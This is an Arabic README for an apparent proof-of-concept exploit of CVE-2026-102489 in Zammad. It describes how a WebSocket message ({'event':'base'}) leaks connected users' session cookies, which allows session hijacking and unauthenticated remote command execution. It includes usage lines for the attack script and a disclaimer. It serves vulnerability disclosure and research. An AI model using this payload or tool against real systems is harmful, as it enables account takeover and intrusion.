
إثبات مفهوم للاستغلال لـ CVE-2026-102489 في Zammad: يربط تسريب جلسة WebSocket باختطاف جلسة موثّقة وتنفيذ تعليمات برمجية عن بُعد دون مصادقة.
يحتوي هذا المستودع على إثبات مفهوم لـ CVE-2026-102489، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد دون مصادقة في Zammad. تستغل هذه الثغرة خللًا في الكشف عن المعلومات عبر WebSocket للاستيلاء على جلسة موثّقة وتنفيذ أوامر عشوائية بصلاحيات مستخدم نظام التشغيل zammad.
Sessions::Event::Base هو ثابت Ruby صالح لا يمتلك دالة run(). يؤدي إرسال {"event":"base"} عبر نقطة نهاية WebSocket إلى رفع استثناء NoMethodError تتضمن رسالته الفحص الكامل للكائن المستقبِل — والذي يحتوي على @clients، وهي الخريطة الحيّة لسياق طلب كل مستخدم متصل، بما في ذلك ترويسة Cookie الخاصة به.
يستفيد إثبات المفهوم من هذا التسريب من أجل:
_zammad_session الصالحة من المستخدمين المتصلين عبر الكشف عن @clients في WebSocket.يتوفر تحليل تقني يغطي السبب الجذري والاستغلال ومؤشرات الاختراق على مدونة أبحاث الهجمات الخاصة بـ Horizon3.ai:
https://horizon3.ai/attack-research/disclosures/cve-2026-102489-zammad-session-leak-rce/
% python3 CVE-2026-102489.py -h
usage: CVE-2026-102489.py [-h] -u URL [-c COMMAND] [--out-file OUT_FILE]
options:
-h, --help show this help message and exit
-u URL, --url URL The base URL of the target
-c COMMAND, --command COMMAND
Command to execute on the target
--out-file OUT_FILE Output file path on the target (default:
/tmp/zammad_rce.txt)
التشغيل باستخدام الأمر الافتراضي id:
python3 CVE-2026-102489.py -u http://zammad.example.com
تنفيذ أمر عشوائي:
python3 CVE-2026-102489.py -u http://zammad.example.com -c 'id'
ملاحظة: يتطلب الكشف عن المعلومات وجود مستخدم موثّق واحد على الأقل متصلًا بنقطة نهاية WebSocket في وقت الاستغلال.
"تم إنشاء هذا البرنامج لأغراض البحث الأكاديمي البحت ولتطوير تقنيات دفاعية فعّالة، وهو غير مخصص للاستخدام في مهاجمة الأنظمة إلا حيث يكون ذلك مصرّحًا به صراحةً." لا يتحمل القائمون على المشروع أي مسؤولية عن سوء الاستخدام. استخدمه بمسؤولية.